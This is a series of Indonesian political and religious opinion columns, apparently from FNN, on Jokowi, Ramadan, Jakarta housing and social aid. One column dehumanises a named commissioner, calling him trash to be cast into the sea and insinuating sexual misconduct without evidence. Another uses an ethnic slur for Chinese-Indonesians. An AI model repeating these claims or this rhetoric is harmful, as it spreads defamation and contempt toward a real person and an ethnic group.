MILITANSI dan totalitas pendukung Jokowi layak untuk diacungi jempol. Ada saja ide untuk menempatkan junjungannya di posisi terbaik dan teratas. Ibarat tangga lagu pilihan pendengar, posisi lagunya harus tetap populer dan berada di puncak tangga dalam beberapa bulan. Demikiam juga dengan Jokowi, para pendukungnya terus berupaya agar dia berada di tangga paling atas. Apalagi belakangan ini, ada hasrat dan keinginan kuat yang tersembunyi agar kurun waktu sekarang tetap berada di puncak tangga lebih lama hingga tiga periode. Bahkan bisa jadi seumur hidup. Makanya segala ikhtiar selalu dilakukan tanpa jeda. Mungkinkah itu terjadi? Apa sih yang tidak mungkin di Republik “Emang Gue Pikirin” ini? Adalah Isran Noor, Gubernur Kalimantan Timur yang pagi-pagi sudah ikhlas menjadi bemper kepada Jokowi. Irsan kumandangkan woro-woro ke seluruh jagat Nusantara bahwa Jokowi adalah manusia paling layak masuk surga tanpa beribadah, karena “berhasil” memindahkan ibu kota Negara dari Jakarta ke Kalimantan Timur. “Mas Jokowi, Bapak Presiden, Bapak itu pasti masuk surga. Tidak usah lagi Bapak itu beramal ibadah,” kata Isran dalam Kuliah Umum terkait potensi dan keberlanjutan Ibu Kota Negara di kampus Universitas Indonesia yang dilakukan secara daring Rabu (07/04/2021). Pernyataan Isran ini sungguh mengagetkan. Kapan Irsan punya hak privilese untuk menentukan seseorang masuk surga atau neraka. Yang lebih mengagetkan lagi, sepertinya Irsan juga memegang kunci surga. Kunci yang kapan saja bisa digembok atau dibuka pintu surga. Ironis dengan kenyataan di lapangan. Perihal kunci surga ini seringkali dilontarkan oleh species pembenci Islam terhadap umat yang mencoba mengamalkan ajaran agama Islam secara konsekuen. Mereka kerap menyebut Kadrun (Kadal Gurun) sebagai pemegang gembok dan penentu kavling surga. Tuduhan yang tak berdasar dan tak bernalar. Kata Rocky Gerung dungu dan dongo. Eh, ternyata yang memegang kunci surga adalah Isran Noor. Entah kapan Isran berdiskusi dengan Tuhan, kok bisa tahu nasib Jokowi? Apakah Isran juga Kadrun? Entahlah. Isran bukanlah satu-satunya orang yang mengagumi Jokowi, sehingga menyentuh langit batas atas. Bukan kali ini saja Jokowi dipuja setinggi Planet Pluto. Sebelumnya pada tahun 2018, Jokowi diibaratkan Khalifah Ustman bin Affan oleh Prof. Dr. Rokhmin Dahuri. Ilmuwan dari Institut Pertanian Bogor (IPB), University itu terpesona pada kesederhanaan Jokowi. Rokhmin lantas menjulukinya Ustman Bin Affan karena selalu dekat dengan rakyat. Oleh penggemarnya, sifat-sifat Jokowi disamakan dengan sifat khalifah penerus Nabi. Jokowi lembut mirip Abu Bakar Asshiddiq. Kepemimpinannya tegas mirip Umar Bin Khattab. Sosoknya dermawan mirip Ustman Bin Affan. Otaknya cerdik mirip Ali Bin Abi Tholib. Menurut Rokhmin, gaya kepemimpinan Jokowi memberi pengaruh positif. Kata Rokhmin, rakyat sudah jatuh hati pada Jokowi. Jauh sebelum itu Jokowi juga dianggap ratu adil yang bakal paripurna mengatasi segala keruwetan hidup bangsa. Sosiolog Universitas Islam Negeri (UIN) Syarif Hidayatullah Jakarta, Musni Umar dalam buku yang berjudul 'Bang Jokowi dan Bang Ahok Bangun Jakarta Baru' menyatakan kehadiran Jokowi dan Ahok layaknya Satrio Piningit untuk kota Jakarta. Musni Umar menyatakan, Pemilihan Gubernur (Pilgub) DKI Jakarta pada 2012 lalu dapat dikatakan telah memunculkan Satrio Piningit. Pemimpin yang berjiwa luhur, membela kebenaran. Peduli kepada masyarakat bawah, serta mengedepankan negara dan bangsanya. Setidaknya ada lima tanda-tanda Jokowi menjadi Satrio Piningit versi Sosiolog Musni Umar. Misalnya, Jokowi mampu mangatasi macet, mengatasi banjir, membangun rumah susun, membikin pasar tradisional, dan menangani masalah sosial. Isu tentang Satrio Piningit ini sering muncul ketika keadaan masyarakat sedang kacau, resah, tertekan, dan krisis kepemimpinan. Masyarakat mengharapkan sekali sosok pemimpin yang ideal, yakni pemimpin yang adil, jujur, merakyat, bersahaja dqan tidak zolim. Gaya, dan praktik memimpinnya pun dilakukan dengan tulus ikhlas, apa adanya, tanpa pencitraan sehingga melahirkan kedamaian, ketentraman, dan kesejahteraan. Masyarakat yang mentalnya gersang dan kehidupannya sulit akan girang sekali jika mendengar Satrio Piningit bakal turun gunung, karena mereka berharap kesengsaraannya bakal segera berakhir. Nyatanya puluhan kali ganti rezim puluhan kali pula sosok Satrio Piningit dipasarkan. Namun hasilnya toh sama saja. Tak ada buktinya. Kriteria pemimpin ideal, hanya ada dalam dongeng. Dongeng itu diduga sekarang sedang diperankan oleh Jokowi. Maka alur ceritanya perlu dirawat agar masyarakat kecanduan Satrio Piningit terus-menerus sepanjang masa. Namun aneh, nyatanya, di era Satrio Piningit asli Solo ini, keadaan masyarakat justru semakin waswas, resah, gelisah, dan dalam ketidakpastian. Adu-domba, fitnah, dan pertengkaran selalu terjadi. Masyarakat dibikin penuh prasangka, saling hujat, dan perang dingin. Keadaan makin memburuk saat ekonomi terpuruk, cari makan makin sulit. Pengangguran meningkat, keadilan mati suri, dan utang negara menggunung. Satrio Piningit ternyata tidak memberikan ketentraman, kedamaian, dan keamanan. Tidak punya solusi. Jokowi malah sibuk membuat episode pencitraan demi pencitraan. Tampaknya para pemuja Jokowi salah menafsirkan Satrio Piningit. Jokowi juga mendapatkan pemujaan yang berlebihan. Semakin jauh dari fair dan realistis. Keberhasilannya diangkat setinggi langit, kegagalannya dibenamkan ke dasar lautan. Anehnya, Jokowi pun seperti menikmati posisi ini. Akibatnya banyak hal di luar dugaan Jokowi yang diketahui belakang ini. Tidak mengherankan kalau Jokowi sering bilang',"Saya kaget". Mereka juga kurang tepat menyematkan falsafah Mikul Dhuwur Mendhem Jero pada sosok Jokowi. Konsep Jawa ini sesungguhnya diberikan kepada orang yang sudah meninggal. Untuk mengurangi muatan fitnah, masyarakat Jawa diharap tidak membicarakan kejelekan orang yang sudah meninggal. Masyarakat diperintahkan untuk membicarakan kebaikan yang sudah meninggal. Mikul dhuwur itu artinya mengangkat tinggi-tinggi jejak kebaikannya. Sementara mendhem jero itu artinya mengubur dalam-dalam keburukan orang yang sudah meninggal. Konsep agung ini diaplikasikan dengan salah oleh pengikut Jokowi. Jokowi belum meninggal. Jejak langkahnya masih berproses. Itupun selalu ada pro-kontra dalam kebijakannya. Bahkan lebih banyak kontranya. Jokowi belum saatnya untuk menerima ganjaran surga. Surga atau neraka itu otoritas Tuhan bukan rekomendasi Isran Noor. Kalaupun ada kelebihan Jokowi, itu kreativitas buzzer semata dalam menyulap informasi. Membela membabi-buta, ugal-ugalan. Memlintir fakta. Tidak elok memuja-muja Jokowi setinggi galaksi. Sementara banyak pihak yang menyoal sepak terjangnya. Belum saatnya Jokowi memanen hasil, apalagi menyiapkan surga. Jangan terlampau boros memberikan pujian buat Jokowi. Ingat, aksara Jawa kalau dipangku pasti akan mati. Itu artinya menurut keyakinan orang Jawa, seseorang tidak boleh terlalu tinggi disanjung dan dipuja. Sanjungan yang melampaui batas akan membunuh yang disanjungnya. Coba saja.

Keutamaan Bulan Ramadhan

by Furqan Jurdi Jakarta FNN - Beberapa hari lagi kita akan menyambut datangnya bulan Ramadhan. Bulan Ramadhan adalah merupakan bulan suci yang memiliki keutamaan-keutamaan yang luar biasa. Dengan keutmaan-keutamaan itu, Bulan Ramadhan dapat dijadikan bulan Tarbiyyah dan Madrasah bagi setiap muslim, baik laki-laki maupun perempuan. Rasulullah Sallaahu Alaihi Wasallam bersabda: لَوْ تَعْلَمُ اُمَّتِيْ مَا في رَمَضَا نَ لَتَمَنَّتْ أُمَّتِي اَنْ تَكُوْنَ السَّنََة ُكُلُّهَا رَمَضَانَ Artinya: “Seandainya umatku mengetahui keutamaan di bulan Ramadhan, maka sungguh mereka akan berharap setahun penuh Ramadhan”. Begitu mulia dan utamanya bulan Ramadhan, sehingga Rasulullah Sallaahu Alaihi Wasallam pun berangan-angan, setahun penuh bulan Ramadhan. Kenapa bulan ini menjadi bulan yang diutamakan? Pertama, karena Bulan Ramadhan adalah bulan nya Al-Quran – Syahru Ramadhan, syahrul Furqan. Bulan Ramadhan itu bulannya al-Quran. Seperti yang difirmankan Allah SWT: شَهْرُ رَمَضَانَ الَّذِي أُنْزِلَ فِيهِ الْقُرْآنُ هُدًى لِلنَّاسِ وَبَيِّنَاتٍ مِنَ الْهُدَى وَالْفُرْقَان “Bulan Ramadan, bulan yang di dalamnya diturunkan (permulaan) Al Qur’an sebagai petunjuk bagi manusia dan penjelasan-penjelasan mengenai petunjuk itu dan pembeda (antara yang hak dan yang batil)”. (Qs. Al-Baqarah: 185) Meski dalam ayat ini tidak disebutkan tanggal turunya Al-Quran, namun Para Mufassir (ahli Tafsir) menghubungkan dengan surat Al-Anfal Ayat 41, yang berbicara tentang bertemunya dua Pasukan yaitu dalam Perang Badar, perang yang pertama Kali terjadi dalam sejarah perjuangan Islam. Dalam Surat Al-Anfal ayat 41 Allah berfirman: اِنْ كُنْتُمْ اٰمَنْتُمْ بِاللّٰهِ وَمَآ اَنْزَلْنَا عَلٰى عَبْدِنَا يَوْمَ الْفُرْقَانِ يَوْمَ الْتَقَى الْجَمْعٰنِۗ "Jika kamu beriman kepada Allah dan kepada apa yang Kami turunkan kepada hamba Kami (Muhammad) di hari Furqan, yaitu pada hari bertemunya dua pasukan". (Qs. Al-Anfal: 41) Dengan demikian dapat kita ketahui bahwa yaumul Furqan (Hari turunya Al-Quran) itu adalah Yaumul Takaljam’an (hari bertemunya dua pasukan). Maka mufassir menghubungkan dengan surat Al-Baqarah ayat 185, yaitu Yaumul Furqan. Mufassir menyimpulkan hari turunya Al-Quran adalah hari pertama bertemunya pasukan Rasulullah Sallaahu Alaihi Wasallam dengan pasukan musyrik Qurais yang terjadi pada Tanggal 17 Ramadhan, dan itulah hari turunnya Al-Quran. Karena itu kita menetapkan hari nuzulul Quran jatuh pada setiap tanggal 17 Ramadhan. Hari Turunya Al-Quran itu pula lah yang disebut sebagai malam Lailatul Qadar. اِنَّآ اَنْزَلْنٰهُ فِيْ لَيْلَةِ الْقَدْرِ (sesungguhnya Kami telah menurunkannya Al-Qur'an pada malam qadar), atau إِنَّا أَنْزَلْنَاهُ فِي لَيْلَةٍ مُبَارَكَةٍ (sesungguhnya Kami menurunkan Al-Quran pada suatu malam yang diberkahi). Malam Lailatul Qadar atau malam yang diberkahi itu adalah lebih baik dari seribu bulan. Kenapa Seribu Bulan? Seribu bulan adalah umur umat Nabi Muhammad Sallaahu Alaihi Wasallam. Kalau dihitung tahun sekitar 80 atau 82 tahun. Kenapa seribu bulan? Karena itu umur umat Nabi Muhammad Sallaahu Alaihi Wasallam. Kalau seorang mendapatkan malam Lailatul Qadar satu kali dalam hidupnya, maka ia akan menjadi lebih baik, karena akan dibimbing oleh Al-Quran. Itulah kenapa bulan Ramadhan itu menjadi bulan yang memiliki keutamaan. Kedua, bulan untuk meningkatkan etos ibadah. Allah Berfirman: يَا أَيُّهَا الَّذِينَ آمَنُوا كُتِبَ عَلَيْكُمُ الصِّيَامُ كَمَا كُتِبَ عَلَى الَّذِينَ مِنْ قَبْلِكُمْ لَعَلَّكُمْ تَتَّقُونَ Artinya: Hai orang-orang yang beriman, diwajibkan atas kamu berpuasa sebagaimana diwajibkan atas orang-orang sebelum kamu agar kamu bertakwa. (Qs. Al-Baqarah: 183) Bulan Ramadhan adalah Madrasah atau Universitas untuk melakukan tarbiyyah bagi diri kita masing-masing, yaitu tarbiyyah kedisiplinan dan tarbiyyah-tarbiyyah lainnya. Pada bulan Ramadhan setiap muslim dianjurkan untuk meningkatkan etos ibadahnya. Dimulai dari seringnya membaca Al-Quran hingga meningkatkan ibadah sholat malam. Setiap hari dalam bulan Ramadhan dianjurkan untuk membaca ayat-ayat Al-Quran minimal satu juz dalam satu hari. Selain itu melaksanakan sholat minimal malam 11 rakaat. Dengan etos ibadah itu, kita berharap untuk menjadi pribadi yang taqwa. Ketiga, untuk meningkatkan etos kerja. Ibadah puasa tidak harus menurunkan etos kerja. Sebaliknya, justru harus meningkatkan etos kerja. Rasulullah Sallaahu Alaihi Wasallam, ketika berhadapan dengan pasukan musyrikin Mekkah di Badar pada saat puasa Ramadhan. Ketika itu pasukan kaum muslimin mendapatkan kemenangan besar. Banyak sekali perang dan pertempuran yang dilakukan oleh kaum muslimin, kemudian dimenangkan oleh kaum muslim pada saat bulan Ramadhan. Artinya, bulan Ramadhan adalah bulan untuk meningkatkan etos kerja. Sehingga dengan kedisiplinan dan etos kerja Ramadhan itu, kita dapat sukses dalam berbagai tugas tanggungjawab. Keempat, bulan Ramadhan sebagai bulan training. Setiap orang di bulan Ramadhan dituntut untuk bertindak jujur dalam melaksanakan setiap aktivitasnya. Kejujuran adalah kunci kehidupan, karena itu setiap muslim dituntut untuk jujur. Jangan suka berbohong. Misalnya, ketika sedang melaksanakan puasa, Allah Subhaanahu Wata’ala melarang kita untuk tidak makan dan minum di siang hari. Dimulai dari terbitnya fajar hingga terbenamnya matahari. Sebenarnya makan saat lapar dan minum saat haus itu hal bagus. Tetapi pada saat bulan Ramadhan, sepanjang siang hari, untuk hal baik itu dilarang. Bayangkan saja, kalau tidak ada kejujuran pada diri kita. Orang bisa saja membohongi dirinya dan orang lain, dengan pura-pura berpuasa. Padahal dia makan dan minum secara sembunyi-sembunyi. Tetapi bagi orang yang beriman, ia menyadari, meskipun luput dari mata manusia dunia. Namun sadar bahwa ada mata penguasa langit dan bumi, yang tidak pernah luput untuk mengawasi setiap tindakannya. Begitu juga dalam bulan Ramadhan. Seorang yang beristri dilarang menggauli istrinya. Padahal itu hal yang baik dan mendapatkan pahala yang yang besar. Tetapi pada bulan Ramadhan, harus menahan nafsunya demi untuk mengabdi pada Allah Subhaanahu Wata’ala. Demikianlah keutamaan bulan Ramadhan bagi kaum muslimin. Keutamaan untuk melatih diri menjadi pribadi yang memiliki etos ibadah, etos kerja dan bulan tarbiyyah untuk mencapai predikat sebagai orang yang bertaqwa. Predikat Taqwa itu harus terus meningkat setiap kali kita melaksanakan ibadah puasa. Semoga kita semua menjadi hamba Allah yang Muttaqin. Wallahulam bis Shawab. Penulis adalah Ketua Lembaga Dakwah DPP Ikatan Mahasiswa Muhammadiyah.

Anies Yang Masih Membangun Saja Disalahkan, Apalagi?

by Mang Udin Jakarta FNN - Baru-baru ini, Gubernur DKI Jakarta Anies Baswedan membangun rumah panggung di wilayah langganan banjir. Persisnya di Kampung Melayu. Untuk sementara, ada 40 rumah panggung yang dibangun. Sebagai pilot project dulu. Anggaran setiap rumah Rp. 78 juta. Konsepnya, rumah panggung tiga lantai. Lantai bawah untuk dapur dan ruang interaksi sosial. Lantai dua dan tiga untuk keluarga. Dengan begitu, mereka para penghuni tidak perlu bingung ketika terjadi banjir. Penghuni tetap nyaman tinggal di lantai atas. Ini terobosan ide yang patut didukung. Inovasi baru, karena memang tidak pernah ada sebelumnya. Sebuah nalar kreatif dalam menghadapi masalah banjir. Namun ada saja yang mencemoh 40 rumah panggung yang baru menjadi pilot project tersebut. Wah, ini proyek nggak bener. Bisa menimbulkan kecemburuan sosial, kata salah seorang anggota DPRD DKI. Yang banjir kan tidak di daerah Kampung Melayu aja. Ada sejumlah wilayah yang menjadi langganan banjir di DKI. Mestinya dibangun serentak, lanjutnya. Nggak apa-apa juga anggota DPRD DKI bilang begitu. Namanya juga kritik. Masukan yang perlu didengar. Hanya sedikit perlu dijelaskan bahwa pembangunan kota itu bertahap. Ini lumrah, wajar, dan bagian dari umumnya perencanaan. Kalau kita memahami ini, maka tidak perlu menyoal kesetaraan, keadilan, apalagi kecemburuan terkait rumah panggung. Kecuali jika ada yang cemburu karena tidak dilibatkan dalam pilot project. Tetapi, cemburu itu alami. Setiap orang butuh duit kok. Istilah serentak tidak lazim ada dalam program pembangunan. Pemilu serentak, nah ini baru popular anggota DPRD yang terhormat. Nikah serentak juga boleh, eh maksudnya kawin massal,. Itu juga ada. Tetapi, pembangunan serentak, ini istilah yang agak asing di telinga. Anggota DPRD belajar tentang perencanangan pembangunan, belajarnya di penggiran jalan mana? Kalau belajarnya di selokan, got atau gorong-gorong, kira-kira dimananya ya? Pelebaran atau pembangunan jalan misalnya, apakah dibangun serentak? Tidak juga. Trotoar, apakah juga dibangun serentak? Tidak juga. Begitu juga LRT/MRY dan normalisasi sungai, apakah dilakukan serentak? Kalau pembangunan ada yang serentak-serentak, tolong tunjukan, kira-kira dimana? Tak serentak itu bukan berarti tak adil. Tak serentak bukan berarti tak merata. Tak serentak bukan berarti tebang pilih. Ini hanya soal perencanaan, tahapan dan anggaran saja. Untuk berpikir sederhana ini, tak perlu harus pinter-pinter amat. Amat aja nggak pinter-pinter juga. Warga mungkin tak cemburu. Tetapi, kalau diprovokasi terus-terus, mereka kemungkinan akan was-was juga. Khawatir program rumah panggung tidak berlanjut. Padahal semua butuh proses. Tidak bisa bim-salabim. Tidak bisa abrak-kedabrak. Ini program berkelanjutan. Maunya, setiap pemimpin ingin menuntaskan semua program dalam semalam. Seperti mitos dalam cerita Roro Jonggrang. Tetapi, kita sekarang hidup di dunia nyata. Tidak hidup di zaman Candi Borobudur ketika didirikan. Mesti anggota DPRD menyadari perlunya proses itu. Tdak semua pembangunan infrastruktur bisa tuntas dalam satu periode Gubernur. Lihat itu LRT/MRT. Dimulai dengan perencanaan pada masa Gubernur Sutiyoso hingga sekarang belum juga selesai-selesai tuh. Ini namanya program yang berkelanjutan. Masa anggota DPRD tidak paham? Jangan-jangan memang tidak mau paham. Ya, terserah saja kalo gitu. Saat pendemi dimana anggaran terbatas, ada pembangunan untuk warga tanpa merogoh kocek APBD, tetapi menggunakan Corporate Social Responsibiloty (CSR), dana Baznas Bazis DKI dan Kerjasama dengan institusi lain. Ini sebagai terobosan yang luar biasa. Apalagi, ini diprogram sebagai solusi untuk mengamankan warga dari banjir yang selama ini menjadi masalah tahunan bagi masyarakat Kampung Melayu dan wilayah lainnya. Sebuah solusi cerdas. Setelah program normalisasi sungai yang berkelanjutan, program naturalisasi sedang berjalan. Penambahan dan perbaikan pompa, serta program penghijauan dan pembuatan sejumlah waduk, rumah panggung adalah solusi tambahan. Meski bersifat lokal, tetapi ini sangat membantu warga untuk keluar dari masalah banjir. Masih juga disalahkan? Kebangetan kau anggota DPRD. Bagaimana program rumah panggung di wilayah lainnya? Kalibata, Condet dan Pesanggrahan misalnya? Masih ada hari, tanggal, bulan dan tahun. Jakarta belum kiamat. Masih bisa dikerjakan di beberapa bulan berikutnya. Kalau pilot project ini berhasil, nantinya bisa juga dianggarkan melalui Anggaran Pendapatan dan Belanja Daerah (APBD) DKI. Bisa menggandeng semakin banyak perusahaan swasta dengan CSR-nya. Bisa juga melalui donasi dari luar negeri. Yang 40 rumbah ini baru pilot project. Lihat dulu, evaluasi efektifitas dan manfaatnya. Jangan buru-buru kebakaran jenggot. Ntar mukamu bisa gosong. Namun, kalau kritik semata-mata hanya untuk cari panggung, boleh-boleh juga sih. Bisa jadi iklan yang efektif. Tetapi, sesungguhnya ada banyak pilihan cara yang lebih bijak dan elegan untuk manggung. Tidak harus dengan cara menyalahkan apapun yang dilakukan Gubernur Anies. Kecuali ada tugas khusus untuk menyalahkan itu. Jangan-jangan punya spesialisasi disitu. Ya, kita harap maklum saja! Penulis adalah Pemerhati Sosial Politik.

Penyembah Galon Baiknya Dilarung Saja ke Laut

by M. Rizal Fadillah Bandung FNN – Masyarakat sebaiknya mulai mewaspadai agama baru di Indonesia. Bukan Agama Islam. Bukan juga Agama Kristen Protestan, dan bukan Agama Katolik. Agama baru tersebut bukan untuk menyembah Allah Subhaanahu Wata’ala. Bukan juga penyembah api. Tetapi penyembah galon yang masih serumpun dengan penyembah balon. Adalah Kristia Dede Budhyarto, yang diangkat oleh Menteri Badan Usaha Milik Negara (BUMN), Erick Thohir sebagai Komisaris Independen di PT Pelni (buzzer istana), yang menjawab pertanyaan tentang agama yang bersangkutan. Jawaban Kristia Dede Budhyarto itu ditemukan pada akun twitter miliknya tanggal 9 April 2021 lalu. Menuduh da’I dan penceramah radikalis, sekaligus membatalkan acara Ramadhan adalah perilaku sombong, angkuh dan arogan. Aneh, komisaris perseroan dengan kekuasaan mengambil alih porsi Direktur Utama dan jajaran Direksi. Posisinya cuma Komisaris hadiah lagi. Komisaris "abal-abal". Biar dianggap keren, dibilang komisaris independen. Penyembah Galon tidak boleh hidup di Indonesia. Tidak pantas untuk menjadi komisaris BUMN di negara Pancasila. Sebab tidak mengakui adanya Ketuhanan Yang Maha Esa. Lalu apa bedanya dengan mereka yang menjadi penyembah batu, kayu, dan arwah. Atau memang penyembah dewa laut karena menjadi Komisaris Pelni ? Dewa laut yang sudah berada dalam gallon maksudnya. Bongkar-bongkar riwayat hidup, Kristia Dede Budhyarto bukan "good man" ada Alexis ada Siska yang mampir-mampir. Dede Budhyarto adalah radikalis sekuler. Komisaris perusak akhlak bangsa yang harus diberhentikan oleh Menteri BUMN. Kepada ulama MUI dia songong dan maki-maki, wajar kalau dia pernah dimaki-maki oleh teman kencannya. Penyembah Galon harus dibuang saja ke laut. Menteri BUMN jangan biarkan penyembah Galon berada di PT Pelni. Keselamatan penumpang bisa terancam. Bisa menjadi penyebab datangnya musibah untuk kapal-kapal penumpang PT Pelni. Kasian para penumpang yang berlayar ke seluruh wilayah Indonesia dengan menggunakan kapal-kapal PT Pelni. Agama tidak boleh dimainkan-mainkan. Penyembah Galon diduga lebih brengsek daripada Lia Eden yang baru meninggal. Lia Eden yang mengaku sebagai Malaikat Jibril, ternyata bisa sakit dan mati juga. Lalu dibakar jenazahnya. Sebaiknya Penyembah Galon seperti Kristia Dede Budhyarto segera saja dilarung ke laut. Semoga kapal-kapal PT Pelni dan para penumpangnya selama, dan terhidar dari musibah. Sampah ya harusnya dibuang saja. Jangan dipertahankan. Bisa menjadi beban PT Pelni dunia akhirat. Pelni akan selamat. Sebab buzzer istana itu musuh agama. Penulis adalah Pemerhati Politik dan Kebangsaan.

Puasa Yuk, Biar Bangsa Ini Jadi Bener

by Tony Rosyid Jakarta FNN - Ramadhan tiba. Marhaban ya Ramadhan, sebuah kata yang beredar di group-group medsos. Diiringi ucapan maaf dan ditutup doa semoga dapat menjalankan ibadah Ramadhan sampai akhir, dan meraih kemenangan. Satu dengan yang lain saling menyapa setiap jelang Ramadhan. Mengucapkan kata selamat menjalankan ibadah Ramadhan. Tidak hanya Islam, tidak hanya Kristen, tidak hanya Hindhu, tidak hanya Budha, tidak hanya Konghucu. Semua ramai-ramai mengucapkan selamat kepada saudara-saudaranya yang muslim. Belum lagi kalau lebaran nanti. Rukun, guyup, dan hidup harmonis. Agama tak lagi menjadi sekat kehidupan masyarakat. Iman bukan lagi tembok penghalang untuk membangun harmoni sosial. Indonesia ini ditakdirkan menjadi negeri penuh dengan keragaman. Terdiri dari keragaman etnis, suku, bahasa, budaya dan agama. Dari dulu, satu sama lain membaur dalam komunitas yang beragam. Saling Asih dan Saling Asuh. Saling hormat dan menghargai. Jika datang bencana alam, tak lagi bertanya apa agamanya? Apa sukunya? Apa budayanya? Yang ditanya adalah perlu bantuan apa? Apa yang dibutuhkan di lokasi bencana? Disinilah persaudaraan itu menjadi warisan turun-temurun dalam ragam solidaritas yang terus menguat. Ramadhan, dengan banjirnya ucapan dari lintas iman, ini bukti betapa damainya Indonesia. Hanya saja, suasana damai tak disukai semua orang. Terutama mereka yang tak mau berpuasa. Puasa saja tidak mau, apalagi menjiwai nilai-nilai besar Ramadhan? Jadi pejabat, tetapi nyolong uang Negara, atau uang Badan Usaha Milik Negara (BUMN). Nggak bisa puasa juga. Punya suara, tetapi dijual. Nggak tahan lihat uang dan jabatan di depan mata. Kalau nggak dapat jabatan, lalu adu-domba masyarakat. Orang-orang ini biasanya nggak kenal puasa. Ada lagi yang suka lempar-lemparan bom, lalu teriak teroris. Ngeri ah..., Coba kalau saja pejabatnya puasa, lalu nggak akan nyolong lagi. Para politisi juga puasa, dan nggak adu-domba masyarakat lagi. Para pengusaha juga berpuasa, sehingga nggak sogok sana sogok sini. Anggota DPR juga puasa, sehingga nggak budek lagi untuk mendengar aspirasi dan kemauan rakyat. Ayuk mari berpuasa. Puasa nyolong, puasa korupsi, puasa nyuap, puasa adu-domba rakyat sendiri. Kalau semua pada berpuasa, Indonesia akan seperti surga. Tetapi, kapan? Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Jokowi Jilat Ludah Sendiri

TIDAK ada anggaran. Itu menjadi kenyataan, sehingga program Bantuan Sosial Tunai (BST) berakhir pada April 2021. BST yang nilainya Rp 300.000 per kepala keluarga merupakan program yang diluncurkan Presiden Joko Widodo pada 4 April 2021. Total penerimanya mencapai 10 juta kepala keluarga. Jumlah anggaran yang disiapkan selama empat bulan (Januari sampai April) Rp 12 triliun. Tidak ada angin, tiba-tiba Menteri Sosial Tri Rismaharani mengumunkan penghentian BST. Tidak jelas, apakah pengumuman Risma itu sebagai trik agar Kementerian Keuangan iba kepadanya. Tidak hanya trik, tetapi hal itu merupakan manuvernya, sehingga pada akhirnya jika ada masalah, presiden langsung turun tangan. BST merupakan salah satu program yang diluncurkan presiden pada 4 Januari 2021. Lainnya adalah Program Keluarga Harapan (PKH) dan Bantuan Pangan Non Tunai (BPNT). Rencana awal, bantuan hanya disiapkan Rp 200.000 per keluarga selama enam bulan (Januari sampai Juni 2021). Dengan berbagai pertimbangan, BST menjadi Rp 300.000 per kepala keluarga, atau sama dengan nilai yang diterima pada 2020. Hanya saja, jangka waktu diperpendek menjadi Januari sampai April 2021. Sangat ironis dan menyedihkan jika BST berakhir karena alasan anggaran tidak ada. Irinos, karena hal yang sangat dibutuhkan rakyat diiadakan, sementara Jokowi masih jor-joran membangun infrastruktur yang anggarannya jauh berlipat-lipat dibandingkan BST. Apalagi, nafsunya meneruskan pembangunan ibu kota negara, di Kalimantan Timur. Dananya, ratusan triliun. Padahal, pemindahan itu tidak begitu mendesak karena Jakarta masih layak sebagai Ibu Kota Negara Kesatuan Republik Indonesia (NKRI). Ironis, karena pemerintahan Jokowi justru terkesan lebih memanjakan pengusaha besar dan orang-orang kaya, terutama konglomerat aseng. Buktinya, lihat saja anggaran yang disiapkan pemerintah melalui program Pemulihan Ekonomi Nasional (PEN) tahun 2021 yang mencapai Rp 700 triliun. Coba ditelusuri ke mana saja dana itu mengalir. Menyedihkan, karena Dana PEN begitu besar, tetapi sedikit yang ke rakyat. Jika hanya Rp 12 triliun untuk empat bulan pertama, maka selama 2021 ini cukup dianggarkan Rp 36 triliun atau maksimal Rp 40 triliun. Menyedihkan, karena keberpihakan kepada rakyat yang membutuhkan, semakin jauh. Padahal, April 2021 merupakan bulan yang semakin berat, terutama dalam menghadapi Puasa Ramadhan, dan Hari Raya Idul Fitri 1442 Hijriyah yang jatuh pada 13 Mei 2021. Kebutuhan masyarakat tentu meningkat. Seandainya pun masyarakat melakukan penghematan, pengeluaran tetap naik akibat melonjaknya harga sejumlah kebutuhan pokok. Seminggu menjelang puasa, harga berbagai jenis kebutuhan pokok naik. Misalnya, harga telur, harga ayam potong naik, dan harga daging. Harga telur rata-rata Rp 25.000 per kg. Padahal, dua pekan sebelum puasa, harganya masih berkisar Rp 22.000 sampai Rp 23.000 per kg. Harga daging naik dari Rp 120.000 menjadi Rp 130.000 sampai Rp 140.000 per kg. Dalam waktu yang hampir bersamaan, tahun ajaran baru dimulai. Ada anak yang baru mau masuk TK, SD, SMP, SLTA dan SMK. Ada yang naik kelas. Ada yang mau masuk perguruan tinggi. Semua membutuhkan biaya. Okelah, untuk SD dan SMP (Negeri), tidak ada uang pangkal, SPP, dan bahkan buku pelajaran gratis semua. "Gratis, tapi mahal," demikian kalimat yang terekam dari kalangan orang tua murid, terutama yang kurang, apalagi yang tidak mampu. Apalagi, anak yang masuk sekolah swasta, lebih berat lagi. Sebab, orang tua dibebani biaya membeli pakaian seragam, sepatu dan tas. Nilainya cukup mahal. Apalagi, jika dalam satu rumah tangga ada tiga anak yang sama-sama membutuhkan. Untuk DKI Jakarta, tidak masalah karena mereka memiliki Kartu Jakarta Pintar (KJP) yang bisa ditukar dengan pakaian seragam sekolah. Akan tetapi, daerah lainnya tidak seperti Jakarta. Nah, kembali ke BST. Apakah pemerintah benar-benar sudah tidak memiliki anggaran atau sekedar gertak sambal dari Rismawati? Atau jangan-jangan ini pencitraan lagi. Caranya, di saat genting atau menjelang batas waktu, Joko Widodo akan tampil menyatakan dana BST tetap ada. Biar sesulit apa pun harus ada. Terserah dananya dari mana. Mau utang atau apa pun namanya, harus ada. Akan tetapi, jika Jokowo memaksakan dana BST harus ada di tengah minimnya anggaran, tentu hal tersebut menjadi bahan cemoohan. Sebab, semua orang juga ingat dan tahu tentang ucapannya sewaktu masih menjabat Gubernur DKI Jakarta. Saat itu, ia menegaskan tidak setuju terhadap semua progran bantuan tunai.sebagai bentuk kompensasi kenaikan harga bahan bakar.minyak (BBM). Ia tidak setuju dengan Bantuan Langsung Tunai (BLT) maupun progran Bantuan Langsung Sementara Masyarakat (BLSM). Alasannya, tidak.mendidik masyarakat. Sebenarnya, tidak hanya BLT, BLSM, BST yang tidak mendidik masyarakat. Bantuan-bantuan lainnya juga tidak mendidik rakyat. Apalagi, Bantuan Lempar Langsung (BLL) yang sering dipertontonkan Jokowi dari.mobil dinas Presiden, saat berkunjung ke daerah. BLT berubah nama menjadi BST. BST pun menjadi BLL. Ya, Jokowi sering tidak konsisten dengan perkataannya. Jika merujuk pada ucapannya pada Juni 2013, saat masih Gubernur DKI Jakarta, Jokowi telah menjilat ludahnya sendiri. Sebab, ia tidak setuju BLT, tetapi menggantinya menjadi BST.

Arogansi Polisi Bisa Diberitakan, Alhamdulillah Kapolri Waras (Bagian -2)

